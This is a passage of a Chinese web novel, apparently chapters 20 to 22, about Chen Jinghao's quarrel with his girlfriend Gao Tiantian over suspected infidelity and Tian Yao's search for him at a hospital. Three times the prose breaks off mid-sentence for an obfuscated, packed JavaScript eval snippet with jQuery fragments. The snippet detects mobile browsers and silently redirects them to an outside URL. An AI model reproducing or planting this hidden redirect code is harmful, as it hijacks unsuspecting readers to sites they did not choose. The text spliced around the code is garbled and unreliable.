手机又震动一下,陈景皓心头浮起小小的期待。他低头看了一眼,他的心就像池塘里的一颗浮萍,被一块小石子击中,沉到了池塘底。
【起床了吗?一会一起吃饭吧,我快到你家了。】
陈景皓盯着看了好一会,再三确认发件人似的,拇指才缓缓滑开锁屏。
【好。】
高添添来得很快,几乎是陈景皓穿好衣服,门铃就响了。她站在门口,手里提着一个白色塑料袋,袋口露出一大截香菜的叶子。
“……这是什么。”陈景皓说,接过高添添递过来的袋子。
高添添弯腰换鞋,轻松地说:“菜啊。”
陈景皓像是没听懂,拉开袋子低头看——猪肉、鸡蛋、饺子皮、香菜——的确都是菜。
“……怎么突然买菜来了。”
“你不是喜欢吃饺子吗。”
“你会做饺子?”
高添添换好鞋,眨眨眼,说:“我可以跟你学嘛。”
“……”
【你什么时候有空,可以教我做菜么。】
【怎么突然要学做菜啊。】
【因为你做得好吃。】
【明天中午我去找你。】
陈景皓没再说什么,拎着袋子进厨房。高添添跟着进来,凑到水槽边洗手。
她侧头说:“对了,怎么大门的密码好像换了……”
陈景皓微微顿了一下,点点头,将袋子里的东西一件件拿出来。
“嗯,是换了。”
高添添磨蹭了很久,说是在洗手,更像是在玩水。她在等下文,等着他说出新密码——也许也会是他手机的新密码。
可陈景皓就此没了下文,他拉开抽屉,从里面取出一个瓷碗,然后撕开猪肉的袋子,洗肉切肉剁肉。
哆哆哆的一声声富有节奏感,他低头看着肉糜,好像上了瘾,半天才瞟了她一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684842|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你还没洗完吗。”
“……”高添添忙关上水,“嗯。要我帮忙吗。”
陈景皓头也不抬,“不用,你出去玩吧。”
“哦。”
高添添记挂着那串新密码,全然忘了刚才说要学包饺子一事,而且,她向来十指不沾阳春水。
她回到客厅,陈景皓的手机就放在那只白色相框前,相框里面的他们,笑得很幸福。她拿起手机,冲厨房伸了伸脖子。
“我能用你手机打一下我电话吗,我包里找不到手机。”
陈景皓用菜刀铲起肉糜,翻了个面,菜刀插在肉饼上不动。他回头,说:“你刚才不还给我发了短信了吗。”
高添添一脸愁容,“是啊,我是在下车前给你发的。后来进了超市就没用过了……”
陈景皓说:“快找找吧。”
“密码多少哦。”
“……0717。”
高添添点下0717,手机桌面是三朵向日葵。她点开通话记录,最近一个联系人是周坤,接着是方晓君戴云辉他们,一直拉到最下,她也没有发现可疑的名字。
“打得通吗。”陈景皓冷不丁冒出一句。高添添吓得手一抖,手机险些脱手,“呃——”她迅速拨下自己的号,手机抵在耳边,“都没人接呢。”
“会不会你落在车上了。”
“是哦,有可能呢。”高添添挂了电话,又点开了短信。“我下去找找。”
短信列表和通信录一样,找不到蛛丝马迹。她回到桌面,锁屏后放回原处。
“我下去一趟。”高添添走到玄关处,扶着鞋柜换鞋。“大门密码多少哦,一会我自己开门就好了。”
“130717。”
高添添不由冷笑,“0717是什么好日子哦。”
“能有什么,就那天换的密码。”
高添添下到地库拿回手机,回来时谢天谢地叹道:“幸好在车上找到了。”
陈景皓语调平淡,说:“没丢就好。”
饺子很快端上了桌,陈景皓不知是饿的还是累的,一屁股坐下就埋头大吃。高添添没什么胃口,吃了三个就停下。
陈景皓抬头,“不吃了?”
“吃饱了。”
“……”陈景皓也放下筷子,抽了张纸巾擦了嘴。“那我们谈谈吧。”
高添添愣住,“谈什么。”
他们面对面坐着,中间隔了一条餐桌,上头摆着的饺子还温着。
陈景皓和高添添注视着对方,好一会谁也没有说话。
“添添,我们——”
“让我先说!”
也许是错觉,陈景皓听出了她的颤音。陈景皓稍微坐正了一些,说:“好,让你先说。”
高添添两手搁在腿上,紧紧交握在一起。
“陈景皓,你愿意跟我去见我的父母吗?”
“什么——”陈景皓身子都绷直了。
高添添微笑着走到他身后,从后面抱住他,她的脸颊贴上陈景皓的耳朵。
“我想把你介绍给我的父母。”
21. 第21章
“我想把你介绍给我的父母。”高添添说,“正式的介绍。”
陈景皓静了一会,轻轻拉开高添添的手。他站起来,转身看着她。
看着他嗫嚅的样子,高添添那股热劲一点点褪去。她又拉了拉他的手,目光包含期待和小心,轻声说:“陈景皓,难道你不愿意吗……”
陈景皓低下头,他看着她的小手,习惯性地握住。
“添添……”陈景皓抬眼,“我们分开了大半年,你又刚回来不久。突然决定去见你父母,是不是有些不合适啊……”
“有什么不合适的啊。”高添添不由拔高声调,“我们在一起五年多了,难道还不是时候吗。”
陈景皓:“……”
“你还在怨我半年前什么都不说就跑出国了,对不对。”高添添泫然欲泣,“我这不是回来了吗,以后我再也不跟你赌气了,好嘛……”
陈景皓叹了口气,轻轻抽回自己的手。
“添添,我们这样不是一次两次了。”陈景皓平静地说,“以前你每次提分手,都是我好说歹说把你哄回来。我承认,我是舍不得你,但每次都是这样,我也会累……”
高添添急了,她搂住陈景皓,嘤嘤哭出来。
“我不要——”她埋在陈景皓胸前,“我以后不这样了。我们像以前一样好好的不行吗……”
她总说她会改,只是不知,人心易改,旧情不再。
陈景皓岿然不动,好一会,才轻轻将她推开。
“我说的不合适,不止是因为这个……”
高添添感觉心脏都快蹦到了嗓子眼。
“我们在一起五年了,你爸妈一直不怎么待见我,你想过为什么吗。”
高添添愣住了。
陈景皓从小就没见过他爸,一直由陈红梅带大。而他也是懂事后才知道,就连陈红梅,也不是他亲妈。
陈红梅年轻的时候失去过一个孩子,心灰意冷跑到泰景江寻短见的时候碰到了陈景皓。
那时他被包在红色襁褓里,外面兜了个菜篮子。菜篮子就搁在平常洗衣服的青石板上。
陈红梅念着她那个没出生的孩子,鬼使神差就把菜篮子拎回了家。
泰景江畔,皓月之夜。他的身世被烙进了名字里。
后来,陈红梅遇上现在的丈夫,可这个男人不喜欢陈景皓这个来路不明的儿子。
毕竟不是亲生儿子,陈红梅一个女人把他养到十六岁,也算仁至义尽。
于是她找人将陈景皓年龄改大,把他塞进了军队,自己远嫁他乡。
退伍后,陈景皓跟虎爷混了几年,才独立出来,开了现在的酒吧。
高家虽算不得大富大贵,但高添添父母在宁川市里也是叫得出名号的人物。高父是市六医院的院长,高母是个商人,有自己的房地产公司。
无论怎么看,他们研究生毕业的女儿都不可能跟陈景皓这样的人有交集。就算偶然碰着,他们基本也不正眼瞧他一下。
高添添总想着能感动她的父母,陈景皓年轻时候压根没想过结婚。一年又一年,各怀心事的两个人就这么稀里糊涂处下来了。
反正,年轻时候再大的烦恼也不过情侣间那点破事,语言和肢体,总有一个能交流成功。
二十五岁是女人的分水岭。高添添研究生毕业后,高家开始操心她的婚事,频频安排她和各路的公子哥相亲。
高添添也为此和陈景皓闹过,陈景皓迫于双重压力,终于咬咬牙买下了那套别墅,打算当婚房来着。
可高家态度并无多大改观,他们坚信,只要孩子没冒出来,他们都有机会把女儿给拨乱反正。
这场拉锯战旷日持久,双方俱是疲惫不堪,暗暗中似乎都在等待压弯骆驼的最后一根稻草。
陈景皓和高添添都不再说话,屋里唯一有声音的是那只壁钟。钟声滴答滴答,催命似的。
高添添忽然顿悟一般颔首,说:“我懂了……”她盯着陈景皓,“你这根本就是借口!什么门不当户不对的,全部都是借口!我们在一起那么久了,你从一开始就知道我家怎样,到现在你还拿这个来糊弄我。”
“……”高添添的歇斯底里让他有点愣神。
“你喜欢上别人了,对不对。”高添添抓住陈景皓双臂,“陈景皓,你跟我说实话,你喜欢上别的女人了对不对。”
陈景皓挣开,微微皱眉,“你乱说些什么,根本没有的事!”
高添添说:“不是的话,你着急什么。我回来那天,你这里还有别的女人是吧,我就知道。”
“你知道什么啊——”陈景皓说,“别扯些没有的事。”
“没有的事?!”高添添冷笑,“那你告诉我,为什么我回来那天,会在浴缸里发现女人的头发。”
“……”
陈景皓感觉像被绊了一跤。
高添添眼眶红了,搞不清是气的还是伤心的。她抱着手臂,“十几厘米长的头发,你倒是告诉我是个男人的头发啊。”
“……头发是吧。”陈景皓咬着下唇,“你回来的那天——你回来的那天周坤来过。周坤还记得吗,就我在葵安的那哥们。他最近接了个房建项目,就在丽水路那一块。那天他来宁川谈事,顺便来我这呆了一晚。过几天他就上来,要不信到时你可以问他。或者——”陈景皓从桌上拿过自己的手机递给她,“你现在打电话问他也可以。”
“……”
陈景皓说得认真,高添添有些晕乎。她低头看着那只晶黑的手机,屏幕上倒着陈景皓的面孔。周坤她只见过几次,话都没说过几句,就算要面对面聊,也不知道该聊些什么。她仅是知道有周坤这么一个人,他是陈景皓的朋友。
高添添动了动嘴巴,最后也没说什么。
这个突破口被堵上了。
但高添添依然觉得,女人的直觉不会错。
她落了下风,忽地大步走向沙发,拎起挎包就向门口走去。
“你又干嘛呢。”陈景皓兜起手机走过去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684843|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“又发什么脾气啊。”他在玄关出拉着她,“我们好好谈谈行不行,别每次都这样,说到一半就闹脾气走掉。”
高添添掰开他的手,恨恨地盯着他,说:“我不想跟你谈。你根本就是在狡辩。”
“我……”陈景皓摊了摊手,“我怎么狡辩了啊。我说了你要是不相信,你可以打电话问周坤。”
“还用得着问吗,你们男人,偷吃都是集体活动。”高添添扣上凉鞋的搭扣,“这点事,还用得着问吗。你们都不早就对好台词了吗。”
“‘偷吃’——”陈景皓退后一步,兀自笑了笑,“别说得那么难听。添添,半年前可是你先提的分手。”
高添添听出了破绽,她慢慢站直,说:“你承认了。”
“我承认什么了我。”
“不然你重点为什么会落在在‘偷吃’上。”
“……那还不是你先说的。”
高添添握着门把手,直到指关节泛白,说:“所以,你觉得我们那时处于分手阶段,你跟别的女人在一起就不算事对不对。”
陈景皓下意识想点头,幸而及时缓过神来。
疑神疑鬼的女人何等眼尖,即使最细微的错误,她们也能将之最大化,更遑论陈景皓这种堂而皇之的表情变化。
高添添冷笑,拉开了大门,回头了陈景皓一眼。
“陈景皓,你小心别让我知道她是谁。”
“……”
那双粉红色的拖鞋还摆在鞋柜前,陈景皓低头看了一会,伸脚将它们踢到边上蓝色的垃圾铲里。
壁钟没有体会到他的怒气,还在悠闲地走着,嘀嗒嘀嗒,一下下跟针似的戳在他心头。
陈景皓抬头看了一眼,已经将近下午一点了。
【明天中午我去找你。】
过了十二点还算中午么。
田遥磨蹭到一点才出门,她在附近打包了一份饺子。
老板说,饺子还是现煮的好,放久就坨了。
田遥只是笑笑,说:“什么不是新鲜的好。”
她拎着袋子,泡沫饭盒上放了一小袋打包的酱油和陈醋,像个水球一样在饭盒上摇晃。太阳很晒,她没有打伞,低着头慢慢往回走。
楼下树荫底下,依旧有不午休的大叔大妈围在石桌边打牌。没人注意到田遥,就算注意到也当做没见到。半年来,他们也只是认得她,全然谈不上认识。
水泥地上有些地方爬出了裂纹,她无意识地,一步又一步,都踩在上面。
阳光打到地面,白晃晃的怪刺眼。
走着走着,她便停了下来。
视野里出现了一双驼色的鞋子。
头顶传来低沉的男声。
“对不起,我来迟了。”
他们连约定也没有,哪来的迟到。
田遥的手指抽搐般动了几下,那个褐色的水球在饭盒上滚了一遭。
她也只是停了一会,就像碰见一根柱子一样,头也不抬,直接绕了过去。
22. 第22章
这回,陈景皓没有拉住她,而是跟着她上了楼。他一路沉默,始终和她保持三个台阶的距离。
田遥掏钥匙开门,陈景皓还站在楼梯上,他微微抬头,日光甚好,从花格窗子漏进来,田遥逆着光,像一个剪影。
她进了屋,很快将门合上。陈景皓站在门前,犹豫着要不要敲门。
他的台词还没准备妥当,木门吱呀一声又被扯开。田遥面无表情的脸出现在门缝间,她伸出一只手。拳头虚握,像藏着什么东西。
田遥说:“你的钥匙。”
“……”
陈景皓一时没反应过来,交替看着她的脸和拳头。
田遥也不多跟他解释。她走出一步,另一手拉过他的手,将一把铜黄色的钥匙放在他的手心。
陈景皓眼疾手快,顺势抓住了她的手。
陈景皓说:“你什么意思。”
他的手掌厚实有力,不知道什么原因,还沁出了一层薄薄的汗。田遥的手被他的大手包住,像被裹着一条质地细腻的湿毛巾,连他们手里的钥匙,都被捂热了。
田遥抽回手,说:“把你的备用钥匙还给你而已。”
陈景皓急了,又把她的手拉回来,握着她的手直接翻了个面,将钥匙倒进她手里,拇指把她的手指轻轻摁回掌心。
陈景皓说:“我让你拿着你就拿着。”
田遥想笑又笑不出来,他们这样,像两个小孩子在推让一颗糖。
田遥说:“陈景皓,你到底想干什么。”
她的声音,带着惯有的低沉清冷,不是没有波澜,而像是全被压抑在心底。
田遥如此直接将问题甩到陈景皓面前,倒叫他一时不知该如何回答。心里隐隐知道答案,却无论如何也说不出口。
陈景皓想了想,松开手,说:“你给我点时间。我需要点时间处理和……她的事。”
田遥这回真的笑了,她轻声说:“时间是你自己的。你爱用多少就多少。”
陈景皓明白了,她这话相当于昨晚的“关我什么事”。
陈景皓顿了顿,说:“……好。”
田遥不置可否,退回屋里,将门合上。她在门口站了一会,听着外面渐渐远去的脚步声,紧绷的肩膀瞬时垮下来。
那盒饺子还搁在茶几上。田遥这里只有一个喝水的杯子,她想了想,把泡沫盒盖撕开,将那袋酱油陈醋倒进去。她撕开一次性筷子,拨了拨那盒饺子,饺子皮已经有些发硬,而且,已经粘成了一整坨。她刚挑起一个,旁边的饺子皮跟着被扯出一小块,露馅了。
田遥蘸了一下酱油,浑不在意地放进嘴里。
高添添离开陈景皓家后,直接开车到了梁琪的公司。梁琪刚想午睡,被高添添一个电话叫下来,路上还埋怨,她可不像高添添有个当老总的老妈,她下午可还是干活的。梁琪在楼下咖啡店见到高添添,那些鸡毛蒜皮的抱怨都咽了下去。
高添添红着眼,蔫蔫地坐在沙发里,桌上放了一杯还没喝过的咖啡,一只精巧的小熊图案完整地浮在表面。
梁琪坐到她身边,“怎么了啊这是,陈景皓又欺负你了啊。”
梁琪一针见血,高添添听到那个名字,眼圈更红了。
“哎哎哎——”梁琪忙抽了几张纸巾给她,轻拍着她的肩膀,“别先哭啊,出什么事了,先给我说说啊。”
高添添胡乱擦了擦眼睛,断断续续把肚子里的话都倒出来。咖啡厅里的音乐细细缓缓,伤感又催眠。梁琪越听越沉默,听完等高添添催促了,她才开始表态。
梁琪摊手,说:“所以说——你们年初的时候的确是分手了?”
高添添皱眉,说:“你怎么抓不住重点呢,重点是他现在找了别的女人。”
“姑奶奶啊——”梁琪有点头大,试着心平气和地替她分析,“按照你们的情况,陈景皓也算不上背叛啊。你想你一走就是大半年,哪个男人愿意守活寡哦。”
“梁琪!”高添添柳眉倒竖,“你到底是不是来帮忙的。”
“那你想怎么办呢。”梁琪一到中午便犯困,困起来脾气也不好。
高添添愣了愣,低下头,泄气地说:“我也不知道。”
梁琪来时顾不上点咖啡,现在直接端起高添添那杯喝了一大口。杯子搁回瓷碟发出清脆的声音,梁琪平了一口气。
“添添,你现在只有两个选择。”梁琪说,“一是把陈景皓抢回来。但是——”高添添明显被这个转折勾起注意力,“如果你俩不是奔着结婚来和好的话,我看还是算了吧。你俩分分合合也不是一两次了,累不累啊,要和好了赶紧结婚算了。”
高添添:“……说得容易哦。”
“……还有另一个选择,那就是趁机跟他断了,另外找个男人。以你的条件,要男人还不是勾勾手指头就能勾来一大摞。”
高添添还是那句话,“说得容易哦。”
梁琪:“……”
“我们毕竟在一起五年了啊,从我大学一直到我读研再到工作。女人最好的年纪就那么几年,我都是跟他在一起。”高添添低着头,拇指擦拭着手机屏幕,“我知道你们都觉得他家境不咋的,但是他以前对我真的好得没法说——”
梁琪接口,“嗯,我知道——”
梁琪也是一路看着他们走来,陈景皓以前可以说是把高添添给宠没边了,怕她逛街迷路,怕她外出旅游被人骗,从来都是随叫随到、千依百顺。不过,连梁琪也觉得这是理所当然的。高添添家境优越,自身条件出众,比陈景皓条件要好的追求者一抓一大把,陈景皓要再不对高添添好一些,就真没什么竞争力了。
“虽然我们有时话不投机,他喜欢的我不一定喜欢——”高添添说,“但是,他好像一直都没做错什么,要真叫我主动放手——我还是有点舍不得……”
高添添笑了笑,笑容有些苍白,又有些执拗。
“我想我会选第一条吧。”
田遥接连两天没有在酒吧见到陈景皓,他们似乎又恢复了刚认识时候的平行状态。
只是这回,田遥不习惯了。
田遥回工具房放好扫把和垃圾铲,磨蹭到吧台边往里张望——她没有看到戴云辉那颗红脑袋。
算了,田遥心想。她低着头往回走,路过走廊口处,有人喊了她一声。
田遥停下来,看见正是之前那个叫张驰的。
张驰也是跟她打声招呼,扭头便走了。田遥忙追上去,叫住他。
“张驰,等等——”
“什么事?”张驰回头,一脸不解。
“……你有没见到戴云辉?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684844|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“戴云辉啊——”张驰挠挠耳朵,往吧台那边看了一眼,“他今天好像请假了吧。”
“哦……”田遥想了想,“那……你有没看到我们老板?”
“老板?啊——”张驰顿悟似的,拍了一把自己脑袋,“听说去医院了。”
“什么——”
“去医院了啊。”张驰提高声调重复,“你找老板干啥?”
“没、没什么……”田遥眼皮快速眨了两下,“你怎么知道的。”
“怎么,你还不信啊。”
“不是——”田遥咬着下唇,“那晓君姐呢,你知道她在哪么。”
“晓君姐今晚没来呢。”张驰奇怪地多看她两眼,“你还有什么事吗?”
“没了,谢谢你。”
怎么都不在酒吧。
田遥感觉自己的嗓子眼都被堵住了。
她找领班告了急假,匆匆换下制服就往外走。
田遥一路小跑到路口,路边停着成列的摩的,有几个司机朝她招手。
“美女,去哪里,上车咯——”
田遥跑出几步,又快步走回来,走到一个偏胖的司机大叔跟前。
“大叔,市六医院去不去?”
“去啊,当然去了。来来来,上车。”
“几多钱?”
“收你十五块行了。”
田遥没还价,跨上后座,两手扶着车尾的铁架。
烟囱噗噗冒了两大口黑烟,摩托车见缝插针地在汽车车流中穿行。
她上一次坐摩的还是五年前,在她离家出走的夜里。她拦了一辆摩的,坐到汽车站,在汽车站外上了一辆超载的客车,逃离了宁川。
摩的东拐西绕,没一会便到了市六医院门口。她付了车钱,走到门口的导视图那看了一会,辨认出住院部的位置后,扭头就往里走。
住院部一楼的导诊台上,放了个牌子写着:探病时间15:00——21:00。
墙上的钟指向八点半。
来往人的脸上大多笼罩着淡淡的悲凉,像走廊青白的灯光一样叫人压抑。
更压抑的是,田遥觉得自己疯了。
她从旁边的便利店买了个口罩戴上,搭电梯来到二楼。
指示牌上显示这里是肺科住院部。走廊呈环形,病房并列在一侧,病房两头的走廊放置了公用热水器和微波炉。这个时间点病房都敞开门亮着灯,田遥沿着走廊一个一个地找过去。
这一排似乎都是女病房,有穿着病号服戴口罩的中年妇女在走廊晾内衣裤,即使有男人的身影,他们也是穿着普通衣服坐在病床边,陪着病人看电视。
田遥隐隐觉得陈景皓应该不在这里,她走马观花似的看看就过。病房大多是二人间,也有三人间。病床间有拉着屏风的,田遥就进去看看,一路下来收到了不少异样的眼光。
她快走到走廊拐弯处,最后一间病房没有开电视,相对安静不少。靠门的床位空着,蓝色的屏风拉开,里面一床看似住了人。
田遥没多在意,正想往前走,里边传来那道熟悉的男声。
“我这不天天来陪你了吗。”
田遥心头咯噔一下,被牢牢钉在原地。
那道声音像一条草绳,套住她的脖子,勒得她有点胸闷。